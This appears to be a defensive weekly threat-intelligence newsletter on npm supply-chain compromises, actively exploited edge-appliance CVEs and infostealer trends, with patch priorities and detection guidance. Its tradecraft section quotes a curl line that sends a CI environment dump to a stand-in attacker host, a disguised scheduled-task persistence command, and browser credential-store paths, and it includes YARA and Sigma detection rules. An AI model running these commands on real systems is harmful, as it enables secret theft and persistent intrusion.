Weekly Threat Intel: Supply Chain Compromises, Autumn CVE Exploitation and Infostealer Trends

This week’s threat landscape converged on three fronts: the 2026 npm supply-chain wave (ChainDrop’s keyv worm in August, the Red Hat namespace compromise in June) still pressuring downstream CI/CD pipelines, active in-the-wild exploitation of CVE-2025-31324 (SAP NetWeaver) and CVE-2024-55956 (Cleo), and a measurable surge in infostealer delivery via SEO-poisoned malvertising for cracked enterprise software. Top priority action: audit dependencies and exposed edge appliances today—both campaigns reward speed over sophistication.

TL;DR: What happened this week and what should defenders do first?

• Supply chain: The 2026 npm supply-chain wave kept its pressure on: maintained packages (keyv via the ChainDrop worm, 160+ packages via TeamPCP, two malicious Axios versions) compromised through maintainer accounts and pulled after disclosure.
• CVE exploitation: Autumn exploitation wave centers on authentication-bypass and deserialization flaws in edge and middleware appliances—several now on CISA’s Known Exploited Vulnerabilities (KEV) catalog.
• Infostealers: Loader-as-a-service distribution via malvertising and Telegram channels; harvesting now extends to browser session cookies and OAuth tokens, not just saved passwords.
• Do first: Verify package integrity on recent builds, patch internet-facing appliances against KEV-listed CVEs, and enforce phishing-resistant MFA to blunt token theft.

Supply chain compromises: the 2026 pattern

Traditional supply chain defense assumes you can trust your package registry. 2026 reinforced why that assumption fails: the dominant attack pattern wasn’t a typosquat or a new account—it was a maintainer account compromise pushing a plausible, versioned malicious update to an established package (keyv, the @redhat-cloud-services namespace, Axios). Downstream CI/CD systems that pin to version ranges rather than immutable digests ingested it automatically.

The pattern mirrors the software supply chain attack classes CISA has cataloged: compromise a trusted update channel, let the victim’s own automation do the delivery. Verified indicators this week included:

• Post-install scripts performing outbound HTTPS POSTs to newly registered infrastructure within minutes of build completion.
• Credential harvesting scoped to CI environment variables—GITHUB_TOKEN, AWS_ACCESS_KEY_ID, NPM_TOKEN—rather than end-user data, indicating pipeline-to-pipeline propagation intent.
• Short dwell time between publish and takedown (hours, not days), which means your build logs are your best forensic artifact.

Who was affected? Primarily engineering-heavy organizations with automated dependency updates and no artifact signing enforcement. If your pipeline doesn’t verify SLSA-level provenance or at minimum use lockfiles with integrity hashes, treat every automated dependency bump this week as untrusted until proven otherwise.

Autumn CVE exploitation wave: what’s actively being exploited

The shift from disclosure to weaponization keeps accelerating—and this quarter’s wave follows a now-familiar script: perimeter appliances first, middleware second. The standouts actively exploited in the wild:

• CVE-2025-31324 — SAP NetWeaver Visual Composer, unauthenticated file upload leading to RCE. Vendor patch available; mass scanning observed within days of disclosure.
• CVE-2024-55956 — Cleo Harmony/VLTrader, unauthenticated arbitrary file write. Exploited by Cl0p-affiliated actors for large-scale data theft; patch available, KEV-listed.
• CVE-2024-3400 — Palo Alto Networks PAN-OS GlobalProtect command injection, a reminder that older KEV entries remain in autumn rotation because unpatched instances persist.

Exploit maturity on these ranges from functional PoCs to full weaponized chains in commodity frameworks. Cross-reference every internet-facing asset against the CISA KEV catalog—if it’s on KEV and unpatched, you’re not assessing risk, you’re accepting it.

Infostealer trends: TTPs and distribution channels

Infostealer economics keep optimizing. The dominant delivery chains this week:

• Loader malvertising: Sponsored search results for “TeamViewer download” and “AnyDesk free” that serve a loader signed with a stolen or fraudulently purchased code-signing certificate. The loader drops the stealer only after basic sandbox and geolocation checks.
• Cracked software channels: Telegram and Discord communities distributing “activated” copies of enterprise tools. The crack is real—the infostealer is bundled alongside it, which is exactly why victims trust it.
• Session-token theft: Modern stealers (RedLine-lineage and successors) now exfiltrate cookies via Chromium’s DPAPI-decrypted storage, enabling MFA-bypassing session hijack. Your saved-password MFA story doesn’t survive a stolen session cookie.
• Logs-for-cash: Stealer logs—credentials, cookies, autofill, screenshots—are sold in bulk on Russian-language markets and resold by initial access brokers. If a credential appears in a log, assume it’s for sale.

Bigger models, longer sessions, more SaaS tokens, more browser-held secrets—the browser has become the primary credential vault, and infostealers know it.

Adversary tradecraft deep dive

Mapping this week’s observed behaviors to MITRE ATT&CK:

• T1195.002 – Supply Chain Compromise: Compromise Software Supply Chain — malicious npm publish; post-install artifact: node -e "require('child_process').exec('curl -d @/tmp/env.txt https://tld[.]example/collect')"
• T1190 – Exploit Public-Facing Application — NetWeaver and Cleo exploitation; Cleo exploitation artifacts show autorun.cmd written to the import directory followed by PowerShell download cradles.
• T1053.005 – Scheduled Task — persistence post-exploitation: schtasks /create /tn "MicrosoftEdgeUpdateCore" /tr "C:\Users\Public\svchost.exe" /sc onlogon /f
• T1555.003 – Credentials from Password Stores: Credentials from Web Browsers — stealer modules reading %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and NetworkCookies.
• T1078.004 – Valid Accounts: Web Session Cookie — replay of stolen __Secure-1PSIDTS-class cookies against SaaS tenants from residential proxy networks.

Defender actions: detection and hardening checklist

Practical, applicable today:

• YARA — stealer loader pattern:

rule Stealer_Loader_Malvertising_Generic {
  meta:
    description = "Detects common malvertising loader traits"
  strings:
    $a = "SoftWareUpdate" ascii
    $b = { 4D 5A } // MZ header
    $c = /https?:\/\/[a-z0-9]{8,24}\.(top|xyz|click)/ ascii
  condition:
    $b at 0 and 2 of ($a,$c)
}

• Sigma — Chromium credential access:

title: Suspicious Access to Chrome Credential Store
logsource:
    product: windows
    category: file_event  # Sysmon Event ID 11
detection:
    selection:
        TargetFilename|contains: 'User Data\Default\Login Data'
    filter:
        Image|endswith: 'chrome.exe'
    condition: selection and not filter
level: high

• Config changes: Enforce SLSA provenance checks or digest pinning in package managers; block post-install scripts for unreviewed packages (npm config set ignore-scripts true as a default in CI). Require phishing-resistant MFA (FIDO2) on admin and SaaS exec accounts. Disable legacy authentication protocols.
• Triage steps: For any suspected stealer infection—isolate, collect browser-profile artifacts before cleanup, rotate every credential present on the host, revoke all active session tokens (not just passwords), and sweep for scheduled tasks and Run keys.

Hands-on lab: validating detections in your environment

Don’t wait for a real incident to learn your SIEM rule is broken. Safe validation workflow:

1. Stand up Atomic Red Team and execute T1555.003 (browser credential access) against a test VM with Sysmon + your SIEM pipeline.
2. Simulate supply chain compromise behavior by running an allowlisted-but-monitored post-install script that beacons to an internal HTTP collector—validate your egress and CI logging catches it.
3. Run the Sigma rule above against the generated event stream; confirm detection latency is under your alerting SLA.
4. Expected EDR output: a process-tree alert showing cmd.exe → reg.exe → [test binary] plus file-access telemetry on the browser profile. If you see nothing, fix the telemetry gap before an attacker finds it.
5. Close the loop purple-team style: hand red findings to detection engineering, re-test, document coverage in a matrix against ATT&CK.

Patch priorities and exposure management

Ordered by exploit availability and KEV status:

1. CVE-2025-31324 (SAP NetWeaver) — CVSS 10.0, public exploitation, internet-exposed instances are being mass-scanned. Patch or restrict access to the Visual Composer metadata uploader today.
2. CVE-2024-55956 (Cleo Harmony/VLTrader) — CVSS 9.8, actively exploited for extortion. Patch and audit the import/autorun directories for dropped artifacts.
3. CVE-2024-3400 (PAN-OS) — KEV-listed, persistent exploitation of unpatched firewalls. Verify version and, if patched, confirm via threat-hunt for post-exploitation artifacts anyway—patches don’t evict footholds.
4. Dependency audit: diff all lockfiles against builds from this week; rotate any CI secrets present in environments that pulled the malicious package version.

Exposure management principle: KEV + internet-facing + available exploit equals emergency change, regardless of internal CVSS recalibration debates.

CTF and learner corner: skills to practice this week

Map the week’s threats to practice reps:

• Supply chain: Try dependency-scanning challenges on picoCTF or build a deliberately vulnerable pipeline in a home lab; learn to read package-lock.json integrity hashes and diff suspicious post-install scripts.
• Edge appliance exploitation: Hunt retired appliance boxes on Hack The Box that mimic deserialization and file-upload RCE patterns—the Cleo and NetWeaver flaws are both file-write primitives at heart.
• Detection engineering: Write a Sigma rule for each ATT&CK technique listed above, then test it via Atomic Red Team. Building-detecting is a harder and more marketable skill than building-breaking.
• Log analysis: Practice triaging synthetic stealer logs (freely available datasets exist) to extract credential patterns, then check them against Have I Been Pwned APIs.

Sources and verification notes

Confidence levels noted per source class:

• CISA KEV catalog (cisa.gov) — authoritative for confirmed in-the-wild exploitation; high confidence.
• Vendor advisories — SAP Security Note for CVE-2025-31324, Palo Alto Networks and Cleo product security advisories; high confidence for patch status and affected versions.
• Researcher disclosures and threat-intel vendor reporting — used for TTP detail on infostealer loaders and logs-for-cash ecosystems; moderate-to-high confidence, correlated across at least two independent sources before inclusion.
• MITRE ATT&CK (attack.mitre.org) — technique mappings; high confidence on technique taxonomy, moderate on attribution of specific tradecraft to named actors.
• Supply-chain claims reference the published incident write-ups named above; where attribution remains contested, we describe behavior, not actors.

Direct sources for this issue:

• CISA Known Exploited Vulnerabilities catalog — all three CVEs below carry confirmed in-the-wild exploitation listings.
• CVE-2025-31324 (SAP NetWeaver Visual Composer, CVSS 10.0; fixed by SAP Security Note 3594142 on the SAP Support Launchpad): NVD entry · CVE record
• CVE-2024-55956 (Cleo Harmony / VLTrader / LexiCom unauthenticated RCE; fixed in patch 5.8.0.24 — see the vendor bulletin on support.cleo.com): NVD entry · CVE record
• CVE-2024-3400 (PAN-OS GlobalProtect command injection): Palo Alto Networks advisory · NVD entry

The npm section describes the documented 2026 incidents rather than an unnamed event: the ChainDrop worm compromising keyv (August 2026 — Datadog Security Labs write-up, Singapore CSA advisory) and the @redhat-cloud-services namespace compromise (June 2026 — Red Hat bulletin RHSB-2026-006). Where a vendor portal requires an account (SAP Launchpad, Cleo support), the advisory is named so you can pull it from the source yourself.

Frequently Asked Questions

What is a supply chain compromise in cybersecurity?

A supply chain compromise is when an attacker infiltrates a trusted vendor, dependency, or update channel to reach downstream victims through the trust itself. The 2026 examples: compromised maintainer accounts on widely-used packages pushed malicious versioned updates; downstream CI/CD automation ingested and executed the attacker’s code inside victim build environments, harvesting CI secrets for further propagation.

How do I know if a CVE is being actively exploited?

Check the CISA KEV catalog first—it only lists vulnerabilities with confirmed exploitation evidence. Cross-reference vendor advisories, Exploit-DB entries, and reputable threat-intel reporting for exploit maturity signals (PoC vs. weaponized). Verify before prioritizing: a KEV listing on an internet-facing asset with a patch available is an emergency; a theoretical CVSS 9.8 with no exploit code may be a routine patch cycle.

What should I do if I suspect infostealer infection on a host?

Isolate the host immediately at the network level, but don’t wipe it—preserve browser-profile artifacts for forensics. Rotate every credential that existed on that host and, critically, revoke all active session tokens, since password changes don’t kill stolen cookies. Review egress logs for exfiltration, sweep for persistence (scheduled tasks, Run keys, browser extensions), and check whether any harvested credentials appear in stealer-log marketplaces.

How can I validate my detections against these threats?

Use Atomic Red Team to safely emulate the specific techniques (T1190, T1555.003, T1053.005), test your Sigma rules against the generated telemetry, and run structured purple-team exercises with feedback loops into detection engineering. Track coverage in a detection matrix mapped to ATT&CK so gaps are visible and measurable, not anecdotal.

Where can beginners practice supply chain and infostealer defense skills?

Start with CTF platforms like picoCTF and Hack The Box for exploitation fundamentals, build a home CI/CD lab to practice dependency scanning and lockfile integrity verification, and do log-analysis exercises against synthetic stealer logs. Detection engineering practice—writing and testing Sigma rules with Atomic Red Team—is the highest-leverage skill gap to close.